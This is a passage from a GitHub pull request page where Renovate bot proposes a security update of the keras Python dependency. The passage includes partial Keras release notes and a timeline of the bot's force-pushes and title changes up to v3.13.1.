  • Add ops keras.ops.view_as_complex, keras.ops.view_as_real
PyTorch backend
  • Add cuDNN support for LSTM with the PyTorch backend
TensorFlow backend
  • Add tf.RaggedTensor support to Embedding layer
  • Add variable-level support for synchronization argument
OpenVINO backend
  • Add support for over 50 additional Keras ops in the OpenVINO inference backend!

New Contributors

Full Changelog: keras-team/keras@v3.9.0...v3.10.0

[v3.9.2](https://redirect.github.com/


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch from 3ee19be to a230d6b Compare August 19, 2025 06:46
@renovate-bot renovate-bot changed the title Update dependency keras to v3.11.0 [SECURITY] Update dependency keras to v3.11.3 [SECURITY] Sep 19, 2025
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch 5 times, most recently from 627dae0 to 8b0bca7 Compare September 26, 2025 19:24
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch 17 times, most recently from 9254b48 to 9f504c9 Compare October 3, 2025 22:33
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch 6 times, most recently from c0f7439 to acef16b Compare October 5, 2025 23:00
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch 8 times, most recently from acb6fe8 to f7603c7 Compare October 9, 2025 07:36
@renovate-bot renovate-bot changed the title Update dependency keras to v3.11.3 [SECURITY] Update dependency keras to v3.12.0 [SECURITY] Oct 29, 2025
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch from f7603c7 to 540b317 Compare October 29, 2025 16:44
@renovate-bot renovate-bot changed the title Update dependency keras to v3.12.0 [SECURITY] Update dependency keras to v3.13.1 [SECURITY] Jan 15, 2026
@renovate-bot renovate-bot force-pushed the renovate/pypi-keras-vulnerability branch from 540b317 to cf849b6 Compare January 15, 2026 20:37
@renovate-bot renovate-bot changed the title Update dependency keras to v3.13.1 [SECURITY] chore(deps): update dependency keras to v3.13.1 [security] Jan 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant